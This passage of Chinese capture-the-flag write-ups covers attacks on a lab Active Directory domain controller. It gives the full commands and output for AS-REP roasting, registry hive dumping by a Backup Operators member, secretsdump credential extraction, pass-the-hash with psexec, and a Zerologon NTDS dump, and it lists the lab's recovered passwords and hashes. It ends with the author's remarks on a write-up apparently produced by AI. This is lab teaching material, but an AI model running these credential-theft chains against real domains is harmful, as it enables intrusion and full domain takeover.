&lt;p&gt;既然 &lt;code&gt;mowen&lt;/code&gt; 属于 &lt;code&gt;Backup Operators&lt;/code&gt;，最稳的利用方式就是使用 &lt;code&gt;reg.py&lt;/code&gt; 远程备份系统注册表 hive。前面先确认一下远程注册表能否访问：&lt;/p&gt;
&lt;p&gt;reg.py XMCVE.local/mowen:&amp;#39;1maxwell&amp;#39;@192.168.56.155 query -keyName &amp;#39;HKLM\SAM&amp;#39;&lt;/p&gt;
&lt;p&gt;返回：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;HKLM\SAM
HKLM\SAM\SAM
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这说明远程注册表访问是通的，后续可以尝试保存。&lt;/p&gt;
&lt;p&gt;接下来直接使用 &lt;code&gt;backup&lt;/code&gt; 动作一次性保存三份关键 hive：&lt;/p&gt;
&lt;p&gt;reg.py XMCVE.local/mowen:&amp;#39;1maxwell&amp;#39;@192.168.56.155 backup -o &amp;#39;C:\Windows\Temp&amp;#39;&lt;/p&gt;
&lt;p&gt;关键结果如下：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;[*] Saved HKLM\SAM to C:\Windows\Temp\SAM.save
[*] Saved HKLM\SYSTEM to C:\Windows\Temp\SYSTEM.save
[*] Saved HKLM\SECURITY to C:\Windows\Temp\SECURITY.save
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这一步的本质是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;SAM&lt;/code&gt; 保存本地账号哈希&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SYSTEM&lt;/code&gt; 里有 bootKey，用于解密 &lt;code&gt;SAM/SECURITY&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SECURITY&lt;/code&gt; 里有 LSA Secrets、服务密码、缓存凭据等高价值秘密&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;很多人做到这里会卡住，因为他们试图直接走远程执行。但本题真正的提权关键不是远程执行，而是“先把秘密导出来，再离线提取”。&lt;/p&gt;
&lt;h2&gt;第七步：拉回本地并离线提取秘密&lt;/h2&gt;
&lt;p&gt;先把远程保存好的三个文件拉回本地：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;netexec smb 192.168.56.155 -u mowen -p &amp;#39;1maxwell&amp;#39; --get-file &amp;#39;Windows\Temp\SAM.save&amp;#39; /tmp/SAM.save
netexec smb 192.168.56.155 -u mowen -p &amp;#39;1maxwell&amp;#39; --get-file &amp;#39;Windows\Temp\SYSTEM.save&amp;#39; /tmp/SYSTEM.save
netexec smb 192.168.56.155 -u mowen -p &amp;#39;1maxwell&amp;#39; --get-file &amp;#39;Windows\Temp\SECURITY.save&amp;#39; /tmp/SECURITY.save
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后使用 &lt;code&gt;secretsdump.py&lt;/code&gt; 进行本地离线提取：&lt;/p&gt;
&lt;p&gt;secretsdump.py -sam /tmp/SAM.save -system /tmp/SYSTEM.save -security /tmp/SECURITY.save LOCAL&lt;/p&gt;
&lt;p&gt;这里的关键输出非常重要：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;Administrator:500:aad3b435b51404eeaad3b435b51404ee:d94f9831271e229dbc6e712097b63168:::

[*] _SC_MSSQLSERVER
(Unknown User):Sql!2026
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个结果意味着我们一次性拿到了两个关键资产：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;Administrator&lt;/code&gt; 的 NTLM 哈希&lt;code&gt;d94f9831271e229dbc6e712097b63168&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;SQL Server 服务密码&lt;code&gt;_SC_MSSQLSERVER = Sql!2026&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;先说第二个。服务密码后来验证对应的是域用户 &lt;code&gt;sqlsvc&lt;/code&gt;，说明 &lt;code&gt;SECURITY&lt;/code&gt; hive 里确实成功导出了服务机密：&lt;/p&gt;
&lt;p&gt;XMCVE\sqlsvc : Sql!2026&lt;/p&gt;
&lt;p&gt;但这条线虽然能登录 SMB，却没有直接带来远程执行，所以真正决定通关的仍然是第一个东西，也就是 &lt;code&gt;Administrator&lt;/code&gt; 的 NTLM 哈希。&lt;/p&gt;
&lt;h2&gt;第八步：使用 Administrator 哈希直接 Pass-the-Hash，拿到 SYSTEM&lt;/h2&gt;
&lt;p&gt;拿到 &lt;code&gt;Administrator&lt;/code&gt; 的 NTLM 哈希后，最直接的做法就是 PTH。这里使用 &lt;code&gt;psexec.py&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;psexec.py \
  -hashes aad3b435b51404eeaad3b435b51404ee:d94f9831271e229dbc6e712097b63168 \
  ./Administrator@192.168.56.155 \
  &amp;#39;whoami&amp;#39;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这条命令里有几个点需要说明：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;LM hash&lt;/code&gt; 这里用的是空 LM 的固定占位值 &lt;code&gt;aad3b435b51404eeaad3b435b51404ee&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;NT hash&lt;/code&gt; 就是刚刚从 &lt;code&gt;SAM&lt;/code&gt; 中提取出来的管理员哈希&lt;/li&gt;
&lt;li&gt;&lt;code&gt;./Administrator@192.168.56.155&lt;/code&gt; 表示使用本地上下文账号发起认证&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;关键返回如下：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;[*] Found writable share ADMIN$
[*] Uploading file EXviAwVA.exe
[*] Creating service Uchr on 192.168.56.155.....
[*] Starting service Uchr.....
nt authority\system
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;为什么这说明已经拿下最高权限？&lt;/p&gt;
&lt;p&gt;因为 &lt;code&gt;psexec.py&lt;/code&gt; 的原理是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;先通过 SMB 把一个服务可执行文件上传到目标机&lt;/li&gt;
&lt;li&gt;再通过服务控制管理器创建并启动临时服务&lt;/li&gt;
&lt;li&gt;服务默认以 &lt;code&gt;LocalSystem&lt;/code&gt; 运行&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;也就是说，只要这一套链条完整走通，并且最后执行结果回显 &lt;code&gt;nt authority\system&lt;/code&gt;，就已经不是普通管理员权限，而是标准的 Windows 最高本地权限。&lt;/p&gt;
&lt;p&gt;为了把证据补完整，还进一步执行了：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;psexec.py \
  -hashes aad3b435b51404eeaad3b435b51404ee:d94f9831271e229dbc6e712097b63168 \
  ./Administrator@192.168.56.155 \
  &amp;#39;whoami /all&amp;#39;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;返回结果里明确出现：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;User Name
nt authority\system

SeDebugPrivilege                 Enabled
SeImpersonatePrivilege           Enabled
SeTcbPrivilege                   Enabled
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;到这里就可以非常明确地确认，本题的最高权限已经拿到。&lt;/p&gt;
&lt;h2&gt;第九步：在已拿到高权限后继续导出整套域凭据&lt;/h2&gt;
&lt;p&gt;虽然题目到拿下 &lt;code&gt;SYSTEM&lt;/code&gt; 就已经结束了，但因为目标本身是一台 DC，所以在已有管理员哈希的情况下，还可以顺手把整套域凭据导出来，进一步证明整台域控已经完全接管。&lt;/p&gt;
&lt;p&gt;这里直接使用：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;secretsdump.py \
  -hashes aad3b435b51404eeaad3b435b51404ee:d94f9831271e229dbc6e712097b63168 \
  ./Administrator@192.168.56.155
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;关键输出如下：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;krbtgt:502:...:1e3c4fe72e1383c576b4b3aeef4730a8:::
Alucard:1000:...:d94f9831271e229dbc6e712097b63168:::
XMCVE.local\mowen:1105:...:efb5fa49a38497a71e144f690860688e:::
XMCVE.local\admin:1110:...:2b576acbe6bcfda7294d6bd18041b8fe:::
XMCVE.local\sqlsvc:1112:...:d93ef04edb808c5bce3a5bd67b936ca9:::
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里最重要的意义在于：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;krbtgt&lt;/code&gt; 哈希已经被导出，说明整个域的核心机密已经暴露。&lt;/li&gt;
&lt;li&gt;题目里的所有域用户哈希也全部拿到了。&lt;/li&gt;
&lt;li&gt;从“拿到一台主机的 SYSTEM”进一步升级成了“完全接管整套域”。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;因此本题最终的通关状态，不只是单机 &lt;code&gt;SYSTEM&lt;/code&gt;，而是完整的域控接管。&lt;/p&gt;
&lt;h2&gt;关键命令汇总&lt;/h2&gt;
&lt;p&gt;端口识别：&lt;/p&gt;
&lt;p&gt;nmap -Pn -sC -sV -T4 192.168.56.155&lt;/p&gt;
&lt;p&gt;弱口令喷洒：&lt;/p&gt;
&lt;p&gt;netexec smb 192.168.56.155 -u /tmp/babydc_valid_users.txt -p /tmp/babydc_passwords.txt --continue-on-success&lt;/p&gt;
&lt;p&gt;LDAP 查询 &lt;code&gt;mowen&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;ldapsearch -x -H ldap://192.168.56.155 \
  -D &amp;#39;XMCVE\admin&amp;#39; -w &amp;#39;Password123!&amp;#39; \
  -b &amp;#39;DC=XMCVE,DC=local&amp;#39; \
  &amp;#39;(sAMAccountName=mowen)&amp;#39; \
  pwdLastSet description memberOf userAccountControl
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;AS-REP Roast：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;GetNPUsers.py XMCVE.local/ \
  -dc-ip 192.168.56.155 \
  -no-pass \
  -request \
  -format hashcat \
  -outputfile /tmp/mowen_asrep.hash \
  -usersfile /tmp/mowen_only.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;离线爆破：&lt;/p&gt;
&lt;p&gt;hashcat -m 18200 /tmp/mowen_asrep.hash /usr/share/wordlists/rockyou.txt --force&lt;/p&gt;
&lt;p&gt;远程备份注册表：&lt;/p&gt;
&lt;p&gt;reg.py XMCVE.local/mowen:&amp;#39;1maxwell&amp;#39;@192.168.56.155 backup -o &amp;#39;C:\Windows\Temp&amp;#39;&lt;/p&gt;
&lt;p&gt;拉取 hive：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;netexec smb 192.168.56.155 -u mowen -p &amp;#39;1maxwell&amp;#39; --get-file &amp;#39;Windows\Temp\SAM.save&amp;#39; /tmp/SAM.save
netexec smb 192.168.56.155 -u mowen -p &amp;#39;1maxwell&amp;#39; --get-file &amp;#39;Windows\Temp\SYSTEM.save&amp;#39; /tmp/SYSTEM.save
netexec smb 192.168.56.155 -u mowen -p &amp;#39;1maxwell&amp;#39; --get-file &amp;#39;Windows\Temp\SECURITY.save&amp;#39; /tmp/SECURITY.save
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;离线提取秘密：&lt;/p&gt;
&lt;p&gt;secretsdump.py -sam /tmp/SAM.save -system /tmp/SYSTEM.save -security /tmp/SECURITY.save LOCAL&lt;/p&gt;
&lt;p&gt;PTH 拿 SYSTEM：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;psexec.py \
  -hashes aad3b435b51404eeaad3b435b51404ee:d94f9831271e229dbc6e712097b63168 \
  ./Administrator@192.168.56.155 \
  &amp;#39;whoami /all&amp;#39;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;导出整域凭据：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;secretsdump.py \
  -hashes aad3b435b51404eeaad3b435b51404ee:d94f9831271e229dbc6e712097b63168 \
  ./Administrator@192.168.56.155
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;最终拿到的关键凭据&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;XMCVE\admin : Password123!&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;XMCVE\support : Password123!&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;XMCVE\mowen : 1maxwell&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;XMCVE\sqlsvc : Sql!2026&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Administrator NTLM : d94f9831271e229dbc6e712097b63168&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;krbtgt NTLM : 1e3c4fe72e1383c576b4b3aeef4730a8&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;复盘&lt;/h2&gt;
&lt;p&gt;这题表面上看是一个带 IIS 和 MSSQL 的 Windows 主机，但真正的核心突破点并不是 Web，也不是 SQL，而是域用户属性和组权限设计。前面的统一弱口令只负责帮我们拿到一个能查询 LDAP 的入口，真正打通题目的关键是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;先通过 LDAP 找到 &lt;code&gt;mowen&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;再利用它的 &lt;code&gt;DONT_REQ_PREAUTH&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;拿到 &lt;code&gt;mowen&lt;/code&gt; 口令后再利用 &lt;code&gt;Backup Operators&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;最终通过离线提取出来的管理员哈希完成 PTH&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这条链路最大的优点是稳定，不依赖内存注入，不依赖复杂提权洞，也不依赖题目作者额外埋的 Web RCE。只要把账户属性和组权限利用对了，就能非常稳地一路走到 &lt;code&gt;SYSTEM&lt;/code&gt;  &lt;/p&gt;
&lt;h1&gt;Echoin（Zerologon）&lt;/h1&gt;
&lt;p&gt;配置好kali和vritualbox：&lt;/p&gt;
&lt;p&gt;VirtualBox 靶机 → Host-Only（192.168.56.x）&lt;br&gt; VMware Kali → 也接到 VirtualBox Host-Only 这张网卡&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-38.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;在56网段找ip,匹配对应的MAC：08:00:27:f1:06:a7，就是这个靶机的IP&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-39.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;ip：192.168.56.101&lt;/p&gt;
&lt;h2&gt;nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(echoin㉿kali)-[~]
└─$ nmap -sV 192.168.56.101 -A
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-29 15:30 CST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.101
Host is up (0.0014s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: CASTLEVANIA Portal
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-03-29 07:31:08Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: XMCVE.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
1433/tcp open  ms-sql-s      Microsoft SQL Server 2016 13.00.5026.00; SP2
| ms-sql-ntlm-info: 
|   192.168.56.101:1433: 
|     Target_Name: XMCVE
|     NetBIOS_Domain_Name: XMCVE
|     NetBIOS_Computer_Name: CASTLEVANIA
|     DNS_Domain_Name: XMCVE.local
|     DNS_Computer_Name: CASTLEVANIA.XMCVE.local
|     DNS_Tree_Name: XMCVE.local
|_    Product_Version: 10.0.17763
|_ssl-date: 2026-03-29T07:31:54+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-03-29T04:51:28
|_Not valid after:  2056-03-29T04:51:28
| ms-sql-info: 
|   192.168.56.101:1433: 
|     Version: 
|       name: Microsoft SQL Server 2016 SP2
|       number: 13.00.5026.00
|       Product: Microsoft SQL Server 2016
|       Service pack level: SP2
|       Post-SP patches applied: false
|_    TCP port: 1433
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: XMCVE.local, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
MAC Address: 08:00:27:F1:06:A7 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
Aggressive OS guesses: Windows Server 2019 (97%), Microsoft Windows 10 1803 (91%), Microsoft Windows 10 1903 - 21H1 (91%), Microsoft Windows Server 2019 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Host: CASTLEVANIA; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_nbstat: NetBIOS name: CASTLEVANIA, NetBIOS user: &amp;lt;unknown&amp;gt;, NetBIOS MAC: 08:00:27:f1:06:a7 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
| smb2-time: 
|   date: 2026-03-29T07:31:13
|_  start_date: N/A

TRACEROUTE
HOP RTT     ADDRESS
1   1.37 ms 192.168.56.101

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.62 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;关键端口：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;53 DNS&lt;/li&gt;
&lt;li&gt;80 http&lt;/li&gt;
&lt;li&gt;88 Kerberos&lt;/li&gt;
&lt;li&gt;389/636/3268/3269 LDAP/GC&lt;/li&gt;
&lt;li&gt;139/445 SMB&lt;/li&gt;
&lt;li&gt;1433 MSSQL&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;关键信息：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;NetBIOS 域名：&lt;strong&gt;XMCVE&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;主机名：&lt;strong&gt;CASTLEVANIA&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;完整域名：&lt;strong&gt;CASTLEVANIA.XMCVE.local&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;80端口：访问IP&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-40.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;扫目录&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;feroxbuster -u http://192.168.56.101 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x aspx,asp,txt,config,zip,bak -k
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-41.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;没扫到&lt;/p&gt;
&lt;h2&gt;1433端口开着，扫一下mssql相关信息：&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;nmap -Pn -p1433 --script ms-sql-info,ms-sql-empty-password,ms-sql-config,ms-sql-ntlm-info 192.168.56.101
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-42.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;得到的信息：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;1433 ：对应服务是 Microsoft SQL Server 2016 SP2&lt;/li&gt;
&lt;li&gt;主机：&lt;code&gt;CASTLEVANIA&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;用户：&lt;code&gt;XMCVE&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;域：&lt;code&gt;XMCVE.local&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;但现在还不能直接从 SQL 打进去&lt;/strong&gt;：&lt;code&gt;ms-sql-config&lt;/code&gt; 报的是：No login credentials&lt;/p&gt;
&lt;h2&gt;139/445 SMB:共享信息&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;smbclient -L //192.168.56.101 -N
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;列出共享名&lt;/li&gt;
&lt;li&gt;看到部分共享目录&lt;/li&gt;
&lt;li&gt;枚举域信息&lt;/li&gt;
&lt;li&gt;枚举用户/组&lt;/li&gt;
&lt;li&gt;拿到主机角色信息&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;但是没有&lt;/p&gt;
&lt;h2&gt;389/636/3268/3269 :LDAP/GC匿名查询&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;域名&lt;/li&gt;
&lt;li&gt;OU&lt;/li&gt;
&lt;li&gt;用户&lt;/li&gt;
&lt;li&gt;组&lt;/li&gt;
&lt;li&gt;计算机对象&lt;/li&gt;
&lt;li&gt;邮箱&lt;/li&gt;
&lt;li&gt;描述字段&lt;/li&gt;
&lt;li&gt;SPN&lt;/li&gt;
&lt;li&gt;域策略线索&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;ldapsearch -x -H ldap://192.168.56.101 -s base namingcontexts
ldapsearch -x -H ldap://192.168.56.101 -b &amp;quot;DC=XMCVE,DC=local&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-43.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;得到信息：&lt;/p&gt;
&lt;p&gt;DC=XMCVE,DC=local&lt;br&gt;CN=Configuration,DC=XMCVE,DC=local&lt;br&gt;CN=Schema,CN=Configuration,DC=XMCVE,DC=local&lt;br&gt;DC=DomainDnsZones,DC=XMCVE,DC=local&lt;br&gt;DC=ForestDnsZones,DC=XMCVE,DC=local&lt;/p&gt;
&lt;p&gt;分析：&lt;/p&gt;
&lt;p&gt;确认这是 AD 域，但后续想拿用户，得先找到凭据&lt;/p&gt;
&lt;h2&gt;Kerberos&lt;/h2&gt;
&lt;p&gt;因为靶机打开页面是有一个用户名Alucard，所以枚举一下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-44.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;mailto:Alucard@XMCVE.local&quot;&gt;Alucard@XMCVE.local&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-45.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;mailto:administrator@XMCVE.local&quot;&gt;administrator@XMCVE.local&lt;/a&gt;&lt;br&gt;&lt;a href=&quot;mailto:Alucard@XMCVE.local&quot;&gt;Alucard@XMCVE.local&lt;/a&gt;&lt;br&gt;&lt;a href=&quot;mailto:sqlsvc@XMCVE.local&quot;&gt;sqlsvc@XMCVE.local&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;再把这 3 个用户一起测一遍 AS-REP Roast&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;cat &amp;gt; valid_users.txt &amp;lt;&amp;lt; &amp;#39;EOF&amp;#39;
administrator
Alucard
sqlsvc
EOF

impacket-GetNPUsers XMCVE.local/ -dc-ip 192.168.56.101 -usersfile valid_users.txt -no-pass -request -format hashcat -outputfile asrep.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;都没有UF_DONT_REQUIRE_PREAUTH，所以不行&lt;/p&gt;
&lt;h2&gt;试试cve&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;CVE-2020-1472（Zerologon）&lt;/li&gt;
&lt;li&gt;CVE-2021-34527（PrintNightmare）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;先试一下：CVE-2020-1472（Zerologon）&lt;/p&gt;
&lt;p&gt;用 Zerologon 将机器账户密码清空，用 Zerologon 把域控机器账户密码清空之后，利用这个被控制的机器账户身份，通过 AD 复制接口，把域控里的 NTDS 凭据数据同步出来&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;impacket-secretsdump -just-dc -no-pass &amp;#39;XMCVE.local/CASTLEVANIA$@192.168.56.101&amp;#39;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-46.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;拿到凭据：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;Administrator NTLM：d94f9831271e229dbc6e712097b63168
Alucard NTLM：d94f9831271e229dbc6e712097b63168
sqlsvc NTLM：d93ef04edb808c5bce3a5bd67b936ca9
CASTLEVANIA$ NTLM：31d6cfe0d16ae931b73c59d7e0c089c0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;拿 Administrator 的 hash 直接登录&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:d94f9831271e229dbc6e712097b63168 XMCVE.local/Administrator@192.168.56.101
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-47.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h1&gt;k1ne(AI？)&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;很诡异的一篇wp，邮件中回复添加好友也是加的很迅速，询问wp中的问题时晾了我半个小时&lt;/p&gt;
&lt;p&gt;四个问题的回复都是&amp;quot;ai打出来的，我啥也不知道&amp;quot;........真令我恼火&lt;/p&gt;
&lt;p&gt;疑点有四，其一：wp一开始的dirsearch目录扫描就不可能扫到iis内置文本&lt;/p&gt;
&lt;p&gt;该选手对此回复：“我kali里连不上那个靶机，ai扫出来的”&lt;/p&gt;
&lt;p&gt;其二：flag是在哪个位置拿到的？可否截个图&lt;/p&gt;
&lt;p&gt;该选手对此回复：&amp;quot;镜像里指向的是C:\Users\Administrator\Desktop\flag.txt&amp;quot;&lt;/p&gt;
&lt;p&gt;但是flag我在上架环境前便删得一干二净且让他给我截图时选手对此保持沉默无视&lt;/p&gt;
&lt;p&gt;其三：wp里也没有记录p2zhh，mowen的密码获取方式&lt;/p&gt;
&lt;p&gt;该选手对此回复：&amp;quot;sql查出来的，镜像里都有，ai都能识别得到&amp;quot; &lt;/p&gt;
&lt;p&gt;？？？.....这句话一出我对这道题瞬间变得如此陌生&lt;/p&gt;
&lt;p&gt;其四：secretsdump出来的hash是如何转出明文的？&lt;/p&gt;
&lt;p&gt;该选手对此回复：&amp;quot;明文是我先拿到哈希，然后镜像有一段明文，然后对比，哈希值一模一&amp;quot;&lt;/p&gt;
&lt;p&gt;后续：该选手因别的题导致出现在封神台中&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;镜像导入&lt;/h2&gt;
&lt;p&gt;下载好镜像导⼊&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-48.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;信息收集&lt;/h2&gt;
&lt;p&gt;打开发现⽤户需要密码，猜测靶机启动了web服务尝试访问主机的⽹络信息，&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-49.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;扫描端口&lt;/h2&gt;
&lt;p&gt;拿到关键信息&lt;/p&gt;
&lt;p&gt;靶机ip是10.78.22.137，扫⼀下常⻅的端⼝ &lt;/p&gt;
